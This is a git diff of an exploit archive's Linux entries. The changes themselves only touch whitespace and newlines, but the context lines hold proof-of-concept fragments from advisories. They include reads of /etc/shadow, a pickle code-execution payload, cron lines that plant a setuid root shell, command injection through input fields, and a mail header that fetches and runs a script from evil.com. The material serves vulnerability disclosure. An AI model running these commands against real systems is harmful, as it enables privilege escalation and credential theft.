raptor Exp $ * * raptor_prctl2.c - Linux 2.6.x suid_dumpable2 (logrotate) @@ -106,3 +106,4 @@ int main(void) } // milw0rm.com [2006-07-18] + \ No newline at end of file diff --git a/platforms/linux/local/20458.txt b/platforms/linux/local/20458.txt index 69e6e21c9..b2336e2e8 100755 --- a/platforms/linux/local/20458.txt +++ b/platforms/linux/local/20458.txt @@ -30,4 +30,4 @@ $ strace testfile SYS_197(0x3, 0xbffff650, 0x40197d40, 0x80cca38, 0x3) = -1 ENOSYS (Function not implemented) fstat(3, {st_mode=S_IFREG|0644, st_size=1744, ...}) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000 -.. \ No newline at end of file +.. \ No newline at end of file diff --git a/platforms/linux/local/20691.txt b/platforms/linux/local/20691.txt index 942993a95..eb0b7e313 100755 --- a/platforms/linux/local/20691.txt +++ b/platforms/linux/local/20691.txt @@ -4,4 +4,4 @@ FTPFS is a Linux kernel module allowing users to mount remote files from any sta A version of FTPFS is vulnerable to a buffer overflow leading to a denial of service, and potentially execution of arbitrary code. This overflow can be exploited by any local user with access to the mount command on a system with FTPFS installed. -mount -t ftpfs none /mnt -o ip=127.0.0.1,user=xxxxxxxxxxxxxxxxxxxxxxxxxxxx... \ No newline at end of file +mount -t ftpfs none /mnt -o ip=127.0.0.1,user=xxxxxxxxxxxxxxxxxxxxxxxxxxxx... \ No newline at end of file diff --git a/platforms/linux/local/20867.txt b/platforms/linux/local/20867.txt index 167f62c59..f3b4bb9e1 100755 --- a/platforms/linux/local/20867.txt +++ b/platforms/linux/local/20867.txt @@ -21,4 +21,4 @@ ARCserveIT Universal Agent started... Then, je@boxname~> ls -la /etc/passwd --r--r--r-- 1 0 sys 0 May 9 11:59 /etc/passwd \ No newline at end of file +-r--r--r-- 1 0 sys 0 May 9 11:59 /etc/passwd \ No newline at end of file diff --git a/platforms/linux/local/20868.txt b/platforms/linux/local/20868.txt index 4a3505895..594bcac66 100755 --- a/platforms/linux/local/20868.txt +++ b/platforms/linux/local/20868.txt @@ -16,4 +16,4 @@ Then, je@boxname~> cat /etc/passwd asagentd 6051/tcp # ARCserve agent -asagentd 6051/udp # ARCserve agent \ No newline at end of file +asagentd 6051/udp # ARCserve agent \ No newline at end of file diff --git a/platforms/linux/local/20900.txt b/platforms/linux/local/20900.txt index d508ddddf..3debb8a26 100755 --- a/platforms/linux/local/20900.txt +++ b/platforms/linux/local/20900.txt @@ -19,4 +19,4 @@ From:@@%p%p%p%p%p%p%p%p%p%p Somewhere in the answers you should see: 550 Syntax error in 'From' header: domain missing or malformed: failing address is: -@@0x80beba00x804d2690x80be6600x80be6680x80bd050(nil)(nil)(nil)(nil)0x80b9d40 \ No newline at end of file +@@0x80beba00x804d2690x80be6600x80be6680x80bd050(nil)(nil)(nil)(nil)0x80b9d40 \ No newline at end of file diff --git a/platforms/linux/local/21014.c b/platforms/linux/local/21014.c index 81dc3a703..914cd3704 100755 --- a/platforms/linux/local/21014.c +++ b/platforms/linux/local/21014.c @@ -39,4 +39,4 @@ chmod("/tmp/bleh", perm); } execl("/usr/bin/man","man","/usr/man/man7/man.7.gz",NULL); return 0; -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/linux/local/21398.txt b/platforms/linux/local/21398.txt index 3583760db..052973cfa 100755 --- a/platforms/linux/local/21398.txt +++ b/platforms/linux/local/21398.txt @@ -6,4 +6,4 @@ It has been reported that it is possible for a remote user to upload files to wo After uploading 'malicious' to /tmp: -ssh -l user host '/tmp/malicious' \ No newline at end of file +ssh -l user host '/tmp/malicious' \ No newline at end of file diff --git a/platforms/linux/local/21499.txt b/platforms/linux/local/21499.txt index af6e60fde..8d27dbe36 100755 --- a/platforms/linux/local/21499.txt +++ b/platforms/linux/local/21499.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/4901/info The QNX RTOS crttrap binary includes a command-line option for specifying a configuration file. crttrap is installed setuid by default. crttrap Local attackers may specify an arbitrary system file in place of the configuration file and crttrap will disclose the contents of the arbitrary file. -crttrap -c /etc/shadow \ No newline at end of file +crttrap -c /etc/shadow \ No newline at end of file diff --git a/platforms/linux/local/21500.txt b/platforms/linux/local/21500.txt index 8d03a986b..4383d5f3d 100755 --- a/platforms/linux/local/21500.txt +++ b/platforms/linux/local/21500.txt @@ -4,4 +4,4 @@ The QNX RTOS monitor utility is prone to an issue which may allow local attacker The monitor -f command line option may be used by a local attacker to cause an arbitrary system file to be overwritten. Once overwritten, the attacker will gain ownership of the file. -monitor -f /etc/passwd \ No newline at end of file +monitor -f /etc/passwd \ No newline at end of file diff --git a/platforms/linux/local/21501.txt b/platforms/linux/local/21501.txt index dfe791fc2..35b08c418 100755 --- a/platforms/linux/local/21501.txt +++ b/platforms/linux/local/21501.txt @@ -24,4 +24,4 @@ $ passwd keeping the modifications you have made. $ su -# \ No newline at end of file +# \ No newline at end of file diff --git a/platforms/linux/local/21502.txt b/platforms/linux/local/21502.txt index 1eaabe362..b54b2c731 100755 --- a/platforms/linux/local/21502.txt +++ b/platforms/linux/local/21502.txt @@ -8,4 +8,4 @@ $su > /dev/null & $kill -SEGV `ps -A | grep su | awk {'print $1'}` $strings /var/dumps/su.core | grep ":0:0" > /tmp/mypasswd -The attacker has effectively obtained a copy of the root user's password hash. \ No newline at end of file +The attacker has effectively obtained a copy of the root user's password hash. \ No newline at end of file diff --git a/platforms/linux/local/21623.txt b/platforms/linux/local/21623.txt index 40034f93c..86d60b16c 100755 --- a/platforms/linux/local/21623.txt +++ b/platforms/linux/local/21623.txt @@ -6,4 +6,4 @@ A vulnerability has been reported in the Pickle implementation included with som Exploitation of this vulnerability will be highly dependent on a specific Python application which accepts a "pickle" string from an untrusted source. This behavior has been reported in some implementations of the Python SmartCookie class. -"S''*__import__('os').system('echo 0wn3d')\np0\n." \ No newline at end of file +"S''*__import__('os').system('echo 0wn3d')\np0\n." \ No newline at end of file diff --git a/platforms/linux/local/21793.txt b/platforms/linux/local/21793.txt index f8dd69117..8f763c894 100755 --- a/platforms/linux/local/21793.txt +++ b/platforms/linux/local/21793.txt @@ -6,4 +6,4 @@ xbru does not properly check for the existence of temporary files prior to execu ln -s /tmp/clobber /tmp/xbru_dscheck.dd -ln -s /etc/log.d/scripts/logfiles/xferlog/'`cd etc;chmod 666 passwd #`' /tmp/xbru_dscheck.dd \ No newline at end of file +ln -s /etc/log.d/scripts/logfiles/xferlog/'`cd etc;chmod 666 passwd #`' /tmp/xbru_dscheck.dd \ No newline at end of file diff --git a/platforms/linux/local/22002.txt b/platforms/linux/local/22002.txt index c3d3c045f..3108b5f97 100755 --- a/platforms/linux/local/22002.txt +++ b/platforms/linux/local/22002.txt @@ -29,4 +29,4 @@ The packager will ask a number of questions. When the procedure is complete, a root shell will be waiting for the attacker: $ ls -l /tmp/sh -- -rwsr-x r-x 1 root 100 153908 May 11 05:36 /tmp/sh \ No newline at end of file +- -rwsr-x r-x 1 root 100 153908 May 11 05:36 /tmp/sh \ No newline at end of file diff --git a/platforms/linux/local/22452.sh b/platforms/linux/local/22452.sh index e74f1be08..db438c182 100755 --- a/platforms/linux/local/22452.sh +++ b/platforms/linux/local/22452.sh @@ -14,4 +14,4 @@ cd /tmp export PATH="/tmp:$PATH" /usr/local/bin/chaddpfbname /tmp/.sh -c id -/tmp/.sh \ No newline at end of file +/tmp/.sh \ No newline at end of file diff --git a/platforms/linux/local/22456.txt b/platforms/linux/local/22456.txt index 800b7a990..bf0dae912 100755 --- a/platforms/linux/local/22456.txt +++ b/platforms/linux/local/22456.txt @@ -7,4 +7,4 @@ $ ln -s /usr/local/apache/cgi-bin/webc.cgi webc.cgi $ cp /usr/local/apache/cgi-bin/webc.emf . $ echo "WEBC_NO_SECURITY_CHECK=True" > webc.ini $ echo "HTML_TRACE_REQUEST=/tmp/.debug1" >> webc.ini -$ ./webc.cgi \ No newline at end of file +$ ./webc.cgi \ No newline at end of file diff --git a/platforms/linux/local/22773.c b/platforms/linux/local/22773.c index 5f7a58510..9fdc3de14 100755 --- a/platforms/linux/local/22773.c +++ b/platforms/linux/local/22773.c @@ -23,4 +23,4 @@ setgid(0); printf("bullshit library loaded\n"); system("/usr/bin/id > /tmp/p00p"); system("cat /tmp/p00p"); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/linux/local/22775.txt b/platforms/linux/local/22775.txt index d6a3284dd..bb528549f 100755 --- a/platforms/linux/local/22775.txt +++ b/platforms/linux/local/22775.txt @@ -15,4 +15,4 @@ $>/usr/bin/Wnn4/wddel -D localhost -n ' > shutdown:*:12146:0:99999:7::: > halt:*:12146:0:99999:7::: > ' -d 123 -$>su - \ No newline at end of file +$>su - \ No newline at end of file diff --git a/platforms/linux/local/22781.txt b/platforms/linux/local/22781.txt index f40ac88a2..a71d9973f 100755 --- a/platforms/linux/local/22781.txt +++ b/platforms/linux/local/22781.txt @@ -24,4 +24,4 @@ root $ su - # id uid=0(root) gid=0(root) -groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) \ No newline at end of file +groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) \ No newline at end of file diff --git a/platforms/linux/local/23346.txt b/platforms/linux/local/23346.txt index b802b685d..373b61eca 100755 --- a/platforms/linux/local/23346.txt +++ b/platforms/linux/local/23346.txt @@ -15,4 +15,4 @@ Segmentation fault db2govd: GOV1005N No governor for database "BFFFD788" on node "b" is running, or it is already being stopped. [db2inst1@RiotStarter adm]$ ./db2govd stop %n%n%n b -Segmentation fault \ No newline at end of file +Segmentation fault \ No newline at end of file diff --git a/platforms/linux/local/23414.txt b/platforms/linux/local/23414.txt index ae508917d..0f96210f0 100755 --- a/platforms/linux/local/23414.txt +++ b/platforms/linux/local/23414.txt @@ -8,4 +8,4 @@ $ touch ' > Exec xmessage "0wn3d" > > ' -$ write fvwmguy <<< "k3wl mp3 in `pwd` OMG LOLOLOL!!!1111" \ No newline at end of file +$ write fvwmguy <<< "k3wl mp3 in `pwd` OMG LOLOLOL!!!1111" \ No newline at end of file diff --git a/platforms/linux/local/24398.sh b/platforms/linux/local/24398.sh index 34e84988e..db78f90d8 100755 --- a/platforms/linux/local/24398.sh +++ b/platforms/linux/local/24398.sh @@ -27,4 +27,4 @@ echo > /tmp/imwheel.pid # rm /tmp/imwheel.pid # ln -s /etc/group /tmp/imwheel.pid -echo "Exploit Successful!!!" \ No newline at end of file +echo "Exploit Successful!!!" \ No newline at end of file diff --git a/platforms/linux/local/24421.c b/platforms/linux/local/24421.c index 67a392697..e526b37eb 100755 --- a/platforms/linux/local/24421.c +++ b/platforms/linux/local/24421.c @@ -13,4 +13,4 @@ Debian GNU/Linux computers with bsdmainutils versions prior to 6.0.15 are report Jun. 28<tab>Birthday of Steven Van Acker Aug. 19<tab>Birthday of Andrew Griffith -(where <tab> should be replaced by an actual Tab character) \ No newline at end of file +(where <tab> should be replaced by an actual Tab character) \ No newline at end of file diff --git a/platforms/linux/local/25688.txt b/platforms/linux/local/25688.txt index 429bbe137..e1806a7e7 100755 --- a/platforms/linux/local/25688.txt +++ b/platforms/linux/local/25688.txt @@ -20,4 +20,4 @@ bash-2.05b#gcc -o fk fmtexp.c bash-2.05b#mv fk AA%n%n%n.c -bash-2.05b#gedit AA%n%n%n.c \ No newline at end of file +bash-2.05b#gedit AA%n%n%n.c \ No newline at end of file diff --git a/platforms/linux/local/25947.txt b/platforms/linux/local/25947.txt index 9194227d4..468ea26da 100755 --- a/platforms/linux/local/25947.txt +++ b/platforms/linux/local/25947.txt @@ -15,4 +15,4 @@ pi3@darkstar:~$ ls -alh /usr/local/libexec/gnats/gen-index pi3@darkstar:~$ /usr/local/libexec/gnats/gen-index -n -o /etc/passwd pi3@darkstar:~$ ls -alh /etc/passwd -rw-r--r-- 1 root root 1 Jun 16 17:34 /etc/passwd -pi3@darkstar:~$ cat /etc/passwd \ No newline at end of file +pi3@darkstar:~$ cat /etc/passwd \ No newline at end of file diff --git a/platforms/linux/local/25993.sh b/platforms/linux/local/25993.sh index 8c0a27c77..9d11034dd 100755 --- a/platforms/linux/local/25993.sh +++ b/platforms/linux/local/25993.sh @@ -12,4 +12,4 @@ Skype 1.1.0.20 and prior versions are affected. terminal_number=`tty | cut -f4 -d '/'` user_ticket=$USER/$terminal_number:root -ln -s /var/run/sudo/$user_ticket /tmp/skype_profile.jpg \ No newline at end of file +ln -s /var/run/sudo/$user_ticket /tmp/skype_profile.jpg \ No newline at end of file diff --git a/platforms/linux/local/26195.txt b/platforms/linux/local/26195.txt index dc8b350e0..dc3badbe4 100755 --- a/platforms/linux/local/26195.txt +++ b/platforms/linux/local/26195.txt @@ -6,4 +6,4 @@ This vulnerability allows local malicious users to gain access to the contents o QNX RTOS versions 6.1 and 6.3 are affected by this issue. Other versions are also likely affected. This issue is similar to the one described in BID 4901. -inputtrap -t /etc/shadow start \ No newline at end of file +inputtrap -t /etc/shadow start \ No newline at end of file diff --git a/platforms/linux/local/26218.txt b/platforms/linux/local/26218.txt index 641ff4614..da27bdc20 100755 --- a/platforms/linux/local/26218.txt +++ b/platforms/linux/local/26218.txt @@ -10,4 +10,4 @@ mq(/usr/local/sbin)-> frox -f /etc/master.passwd Unrecognised option "root:$2a$04$nR2msaB9.nAgR4qI6pqBNOQbH6LoqALZTmqsqhGEJLLwyTfsxXTd.:0:0::0:0:Charlie" at line 3 of /etc/master.passwd -Error reading configuration file \ No newline at end of file +Error reading configuration file \ No newline at end of file diff --git a/platforms/linux/local/26353.txt b/platforms/linux/local/26353.txt index 69b8d0173..f03b5ce70 100755 --- a/platforms/linux/local/26353.txt +++ b/platforms/linux/local/26353.txt @@ -7,4 +7,4 @@ Local users may modify the console keymap to include scripted macro commands. Th loadkeys <<EOF keycode 15 = F23 string F23 = "^V^C^V^Mecho hello world^V^M" -EOF \ No newline at end of file +EOF \ No newline at end of file diff --git a/platforms/linux/local/26492.txt b/platforms/linux/local/26492.txt index 5c5875277..57d2be882 100755 --- a/platforms/linux/local/26492.txt +++ b/platforms/linux/local/26492.txt @@ -15,4 +15,4 @@ Emacs better than windoze. ;;; mode-name: #("Microsoft sux" 0 4 (display (when (eval (start-process "/usr/bin/yes" "/usr/bin/yes" "/usr/bin/yes" "msux") ) . xxx) ) ) *** ;;; comment-start: ";;; " *** ;;; comment-end:"***" *** -;;; End: *** \ No newline at end of file +;;; End: *** \ No newline at end of file diff --git a/platforms/linux/local/27066.txt b/platforms/linux/local/27066.txt index a73bb02e4..ec69ec189 100755 --- a/platforms/linux/local/27066.txt +++ b/platforms/linux/local/27066.txt @@ -10,4 +10,4 @@ for '/etc/nu': echo "" >> /tmp/acid udbgen -p /tmp echo `perl -e 'print "A"x10000'` >> /tmp/script -/etc/nu -p /tmp -c /tmp/script -a \ No newline at end of file +/etc/nu -p /tmp -c /tmp/script -a \ No newline at end of file diff --git a/platforms/linux/local/29746.txt b/platforms/linux/local/29746.txt index 78a95cb11..45e601015 100755 --- a/platforms/linux/local/29746.txt +++ b/platforms/linux/local/29746.txt @@ -4,4 +4,4 @@ Horde Framework and IMP are prone to a vulnerability that allows a local attacke A successful attack can reduce the integrity of affected computers and may aid in further attacks. -An attacker could exploit this issue by creating a file '/tmp/x /etc/passwd /tmpmswordx' and running the affected cron script. This will result in the deletion of '/tmp/x', '/etc/passwd', and '/tmp/mswordx'. \ No newline at end of file +An attacker could exploit this issue by creating a file '/tmp/x /etc/passwd /tmpmswordx' and running the affected cron script. This will result in the deletion of '/tmp/x', '/etc/passwd', and '/tmp/mswordx'. \ No newline at end of file diff --git a/platforms/linux/local/30093.txt b/platforms/linux/local/30093.txt index e131f7e02..2858720dd 100755 --- a/platforms/linux/local/30093.txt +++ b/platforms/linux/local/30093.txt @@ -8,4 +8,4 @@ An attacker can exploit this issue to execute arbitrary code with the with the p # useradd -c '&&&&&&&&& your-favourite-ascii-shellcode-here' $USERNAME # echo alias billg $USERNAME >~/.muttrc # mutt billg -# Segmentation fault (core dumped) \ No newline at end of file +# Segmentation fault (core dumped) \ No newline at end of file diff --git a/platforms/linux/local/30280.txt b/platforms/linux/local/30280.txt index 3d01d7109..8e4e2d091 100755 --- a/platforms/linux/local/30280.txt +++ b/platforms/linux/local/30280.txt @@ -4,4 +4,4 @@ GFAX is prone to a vulnerability that lets local attackers execute arbitrary com GFAX 0.7.6 is vulnerable; other versions may also be affected. -while true; do echo "*/1 * * * * root /bin/cp /bin/sh /tmp && chmod 4755 /tmp/sh" > /tmp/crontab; done \ No newline at end of file +while true; do echo "*/1 * * * * root /bin/cp /bin/sh /tmp && chmod 4755 /tmp/sh" > /tmp/crontab; done \ No newline at end of file diff --git a/platforms/linux/local/30503.txt b/platforms/linux/local/30503.txt index fafbf790f..dd3fa63ea 100755 --- a/platforms/linux/local/30503.txt +++ b/platforms/linux/local/30503.txt @@ -6,4 +6,4 @@ An attacker with administrative privileges can exploit this issue to execute arb Adonis 5.0.2.8 is vulnerable; other versions may also be affected. -set host-name ;bash \ No newline at end of file +set host-name ;bash \ No newline at end of file diff --git a/platforms/linux/local/30605.c b/platforms/linux/local/30605.c index ce5f22731..2bd0d1d64 100755 --- a/platforms/linux/local/30605.c +++ b/platforms/linux/local/30605.c @@ -63,3 +63,4 @@ int main() { } else printf("%c",kern_mem[0]); } } + \ No newline at end of file diff --git a/platforms/linux/local/30780.txt b/platforms/linux/local/30780.txt index 5398eae77..bd8dc19be 100755 --- a/platforms/linux/local/30780.txt +++ b/platforms/linux/local/30780.txt @@ -6,4 +6,4 @@ A local attacker can exploit this issue to gain elevated privileges on the affec ISPmanager 4.2.15.1 is reported vulnerable; other versions may be affected as well. -/usr/local/ispmgr/sbin/responder /tmp/ '` cat /etc/master.passwd1>&2 `' 2>&1 \ No newline at end of file +/usr/local/ispmgr/sbin/responder /tmp/ '` cat /etc/master.passwd1>&2 `' 2>&1 \ No newline at end of file diff --git a/platforms/linux/local/31959.txt b/platforms/linux/local/31959.txt index 25582d6a4..334c59e30 100755 --- a/platforms/linux/local/31959.txt +++ b/platforms/linux/local/31959.txt @@ -14,4 +14,4 @@ lrwxrwxrwx 1 example example 3 2008-06-21 09:06 bar -> foo % perl -e 'use File::Path rmtree; rmtree bar' % ls -l foo bar ls: cannot access bar: No such file or directory --rwxrwxrwx 1 example example 0 2008-06-21 09:06 foo \ No newline at end of file +-rwxrwxrwx 1 example example 0 2008-06-21 09:06 foo \ No newline at end of file diff --git a/platforms/linux/local/32820.txt b/platforms/linux/local/32820.txt index 865d79265..4a858ae32 100755 --- a/platforms/linux/local/32820.txt +++ b/platforms/linux/local/32820.txt @@ -27,4 +27,4 @@ To access such an object with low-level tools: opensc-explorer cd 5015 -get 4701 \ No newline at end of file +get 4701 \ No newline at end of file diff --git a/platforms/linux/local/32947.txt b/platforms/linux/local/32947.txt index 630448d15..2648f8226 100755 --- a/platforms/linux/local/32947.txt +++ b/platforms/linux/local/32947.txt @@ -12,4 +12,4 @@ On server: $ ls -la /etc/poc -rw-r--r-- 1 root root 514 Apr 22 09:05 /etc/poc $ zcat /etc/poc | head -1 --- MySQL dump 10.9 \ No newline at end of file +-- MySQL dump 10.9 \ No newline at end of file diff --git a/platforms/linux/local/33255.txt b/platforms/linux/local/33255.txt index f047f54fe..e959d7c36 100755 --- a/platforms/linux/local/33255.txt +++ b/platforms/linux/local/33255.txt @@ -11,4 +11,4 @@ press space bar to stop the grub count down press e to edit select the kernel line and press e Append a "1" to the end of the kernel line and press return -press "b" to boot \ No newline at end of file +press "b" to boot \ No newline at end of file diff --git a/platforms/linux/local/33508.txt b/platforms/linux/local/33508.txt index 92c115058..7e7942356 100755 --- a/platforms/linux/local/33508.txt +++ b/platforms/linux/local/33508.txt @@ -13,4 +13,4 @@ Displays: coasd/ Expected: -couc??asd/ \ No newline at end of file +couc??asd/ \ No newline at end of file diff --git a/platforms/linux/local/33576.txt b/platforms/linux/local/33576.txt index 278344003..48007190e 100755 --- a/platforms/linux/local/33576.txt +++ b/platforms/linux/local/33576.txt @@ -8,4 +8,4 @@ This issue affects BLTK 1.0.9; other versions may be vulnerable as well. The following proof of concept is available: -/usr/lib/bltk/bin/bltk_sudo /bin/bash \ No newline at end of file +/usr/lib/bltk/bin/bltk_sudo /bin/bash \ No newline at end of file diff --git a/platforms/linux/local/33963.txt b/platforms/linux/local/33963.txt index 94187107e..149dd7fa8 100755 --- a/platforms/linux/local/33963.txt +++ b/platforms/linux/local/33963.txt @@ -7,4 +7,4 @@ Local attackers can exploit these issues to obtain sensitive information that ma The following example commands are available: $ gdomap -c /etc/shadow -$ gdomap -a /etc/shadow \ No newline at end of file +$ gdomap -a /etc/shadow \ No newline at end of file diff --git a/platforms/linux/local/35681.txt b/platforms/linux/local/35681.txt index 40a68c7c8..5b93bc85b 100755 --- a/platforms/linux/local/35681.txt +++ b/platforms/linux/local/35681.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to run arbitrary commands with superuser priv The following example command is available: -sudo opcontrol -e "abcd;/usr/bin/id" \ No newline at end of file +sudo opcontrol -e "abcd;/usr/bin/id" \ No newline at end of file diff --git a/platforms/linux/local/38232.txt b/platforms/linux/local/38232.txt index 1df4887fc..417267750 100755 --- a/platforms/linux/local/38232.txt +++ b/platforms/linux/local/38232.txt @@ -10,4 +10,4 @@ A local attacker can exploit this issue to crash the affected application, denyi % perl -e 'print "1","A"x50000000,"\r\n\r\n"' | sort -M [1] 13433 done perl -e 'print "1","A"x50000000,"\r\n\r\n"' | -13434 segmentation fault sort -M \ No newline at end of file +13434 segmentation fault sort -M \ No newline at end of file diff --git a/platforms/linux/local/38559.txt b/platforms/linux/local/38559.txt index eb9956cae..4e23421b1 100755 --- a/platforms/linux/local/38559.txt +++ b/platforms/linux/local/38559.txt @@ -6,4 +6,4 @@ Local attackers can exploit the issue to execute arbitrary code with kernel priv # rmmod b43 # modprobe b43 fwpostfix=AA%xBB -# dmesg \ No newline at end of file +# dmesg \ No newline at end of file diff --git a/platforms/linux/local/38817.txt b/platforms/linux/local/38817.txt index e63b2324d..fdd880c2f 100755 --- a/platforms/linux/local/38817.txt +++ b/platforms/linux/local/38817.txt @@ -6,4 +6,4 @@ An attacker may exploit this issue to execute arbitrary code in the context of t Versions prior to Poppler 0.24.3 are vulnerable. -./pdfseparate -f 1 -l 1 aPdfFile.pdf "%x%x%x%x%x%x%n" \ No newline at end of file +./pdfseparate -f 1 -l 1 aPdfFile.pdf "%x%x%x%x%x%x%n" \ No newline at end of file diff --git a/platforms/linux/local/38937.txt b/platforms/linux/local/38937.txt index 4ce58e9d1..90936f180 100755 --- a/platforms/linux/local/38937.txt +++ b/platforms/linux/local/38937.txt @@ -6,4 +6,4 @@ Local attackers can exploit this issue to obtain sensitive information. Informat Apache Libcloud versions 0.12.3 through 0.13.2 are vulnerable. -dd if=/dev/vda bs=1M | strings -n 100 > out.txt \ No newline at end of file +dd if=/dev/vda bs=1M | strings -n 100 > out.txt \ No newline at end of file diff --git a/platforms/linux/local/39134.txt b/platforms/linux/local/39134.txt index b42f974cd..863e8bafe 100755 --- a/platforms/linux/local/39134.txt +++ b/platforms/linux/local/39134.txt @@ -46,4 +46,4 @@ CVEID: 2015-7556 Exploit Code: -$ touch /tmp/rootme; chmod +x /tmp/rootme; ./dgcpnod /tmp/rootme /etc/cron.hourly/rootme; echo -e '#!/bin/bash \n chmod 777 /etc/shadow' > /etc/cron.hourly/rootme \ No newline at end of file +$ touch /tmp/rootme; chmod +x /tmp/rootme; ./dgcpnod /tmp/rootme /etc/cron.hourly/rootme; echo -e '#!/bin/bash \n chmod 777 /etc/shadow' > /etc/cron.hourly/rootme \ No newline at end of file diff --git a/platforms/linux/local/39207.txt b/platforms/linux/local/39207.txt index 73f2baa30..66b1d717e 100755 --- a/platforms/linux/local/39207.txt +++ b/platforms/linux/local/39207.txt @@ -10,4 +10,4 @@ dpkg 1.3.0 is vulnerable; other versions may also be affected. Index: index/symlink/index-file @@ -0,0 +1,1 @@ +Escaped -`--- \ No newline at end of file +`--- \ No newline at end of file diff --git a/platforms/linux/local/39811.txt b/platforms/linux/local/39811.txt index 3e987933b..f7de27d66 100755 --- a/platforms/linux/local/39811.txt +++ b/platforms/linux/local/39811.txt @@ -43,4 +43,4 @@ sh: 1: /usr/bin/clamscan: not found 1 exec empty: OK snort@snort-VirtualBox:/usr/share/modsecurity-crs/util/av-scanning/runAV$ ls -la /tmp/ | grep pwn3d -rw-rw-r-- 1 snort snort 0 Maj 13 16:45 pwn3d -snort@snort-VirtualBox:/usr/share/modsecurity-crs/util/av-scanning/runAV$ \ No newline at end of file +snort@snort-VirtualBox:/usr/share/modsecurity-crs/util/av-scanning/runAV$ \ No newline at end of file diff --git a/platforms/linux/local/4028.txt b/platforms/linux/local/4028.txt index 4f18e31e7..5ae820d99 100755 --- a/platforms/linux/local/4028.txt +++ b/platforms/linux/local/4028.txt @@ -1,4 +1,4 @@ -_ _ _____ _ ___ _____ _ _ + _ _ _____ _ ___ _____ _ _ / / / / ____/ / / _/_ __/ / / / / /_/ / __/ / / / / / / / /_/ / / __ / /___/ /____/ / / / / __ / diff --git a/platforms/linux/remote/1232.c b/platforms/linux/remote/1232.c index 6117fbbeb..8ce90453f 100755 --- a/platforms/linux/remote/1232.c +++ b/platforms/linux/remote/1232.c @@ -1,4 +1,4 @@ -/* + /* ***************************************************************************************************************** $ An open security advisory #13 - RealPlayer and Helix Player Remote Format String Exploit ***************************************************************************************************************** diff --git a/platforms/linux/remote/1247.pl b/platforms/linux/remote/1247.pl index 85d1f9f9e..2ad436cd4 100755 --- a/platforms/linux/remote/1247.pl +++ b/platforms/linux/remote/1247.pl @@ -174,7 +174,7 @@ sub usage(){ print "-----------------------------------------------------------------------------------\n"; print "Usage: $0 [options]\n"; print "\nOptions:\n\n"; - print " -p path to phpBB admin interface e.g. http://server/phpBB/admin/\n\n"; + print " -p path to phpBB admin interface e.g. http://site.com/phpBB/admin/\n\n"; print " -s admin sid ... yeeesss you need admin rights for use this exploit =)\n\n"; print " -P database prefix (optional) default \"phpbb_\"\n\n"; print " -c [create|clear|get_prefix|(any unix/win command)]\n\n"; diff --git a/platforms/linux/remote/19028.txt b/platforms/linux/remote/19028.txt index b72d0e3ee..ab5eb92db 100755 --- a/platforms/linux/remote/19028.txt +++ b/platforms/linux/remote/19028.txt @@ -16,4 +16,4 @@ quit 221 mail.victim.com Terminating The sed in the receipient strips all mail headers from the -message before passing it on to the shell. \ No newline at end of file +message before passing it on to the shell. \ No newline at end of file diff --git a/platforms/linux/remote/20105.txt b/platforms/linux/remote/20105.txt index 6363cb1b7..9075f1445 100755 --- a/platforms/linux/remote/20105.txt +++ b/platforms/linux/remote/20105.txt @@ -14,4 +14,4 @@ Another description, this one from Andreas Hasenack <andreas@conectiva.com.br>: 1. login remotely (X -broadcast) (have gdm, kdm, whatever running with XDMCP enabled somewhere) 2. after login, start Xnest with -broadcast again, for example 3. login again, now you will be using display :1 -4. this is treated as a console user, and commands only available to console users can be run, such as reboot. \ No newline at end of file +4. this is treated as a console user, and commands only available to console users can be run, such as reboot. \ No newline at end of file diff --git a/platforms/linux/remote/20143.txt b/platforms/linux/remote/20143.txt index bf7b63167..6f90f45b0 100755 --- a/platforms/linux/remote/20143.txt +++ b/platforms/linux/remote/20143.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/1550/info ntop is a tool that shows the network usage, similar to what the popular top Unix command does. Starting ntop in web mode (with the -w parameter) starts ntop with it's own built in HTTP server, to allow remote access to the functions it provides. ntop does not properly authenticate requests and is vulnerable to a ../../ request whereby unauthorized files can be retrieved, including files which are only readable by root. -The default directory ntop serves HTML from is /etc/ntop/html so to retrieve /etc/shadow one can request the following URL: http://URL:port/../../shadow \ No newline at end of file +The default directory ntop serves HTML from is /etc/ntop/html so to retrieve /etc/shadow one can request the following URL: http://URL:port/../../shadow \ No newline at end of file diff --git a/platforms/linux/remote/20236.txt b/platforms/linux/remote/20236.txt index a95bba65c..bb7de073a 100755 --- a/platforms/linux/remote/20236.txt +++ b/platforms/linux/remote/20236.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/1707/info By submitting a specific url to the web server ("http://hosts.any/doc/packages/") , any user from any host may obtain a list of packages installed on a S.u.S.E 6.3 or 6.4 system. This problem is due to a configuration in the Apache httpd.conf supplied with S.u.S.E that permits anyone to request documents from this webroot subdirectory. The end result is that attackers will know what packages the victim has installed, which can assist in executing more complicated attacks. -Request "http://target/doc/packages/" with a web browser. \ No newline at end of file +Request "http://target/doc/packages/" with a web browser. \ No newline at end of file diff --git a/platforms/linux/remote/20246.txt b/platforms/linux/remote/20246.txt index bde14e557..0238750c7 100755 --- a/platforms/linux/remote/20246.txt +++ b/platforms/linux/remote/20246.txt @@ -16,4 +16,4 @@ http://target/cgi-bin/webplus.cgi?Script=/webplus/webping/webping.wml Then type in host destination box: 127.0.0.1 | cat /etc/passwd -You will then be presented with the contents of the /etc/passwd file. \ No newline at end of file +You will then be presented with the contents of the /etc/passwd file. \ No newline at end of file diff --git a/platforms/linux/remote/20597.txt b/platforms/linux/remote/20597.txt index 9882cfcc4..18891567f 100755 --- a/platforms/linux/remote/20597.txt +++ b/platforms/linux/remote/20597.txt @@ -21,4 +21,4 @@ quit For the remote users, change the Reply-to field to something like: -Reply-to: a~.`/usr/bin/rcp\${IFS}user@evil.com:script\${IFS}/tmp/script&&source\${IFS}/tmp/script`.q~a/ad=cucu/c=blu\\\@kappa.ro \ No newline at end of file +Reply-to: a~.`/usr/bin/rcp\${IFS}user@evil.com:script\${IFS}/tmp/script&&source\${IFS}/tmp/script`.q~a/ad=cucu/c=blu\\\@kappa.ro \ No 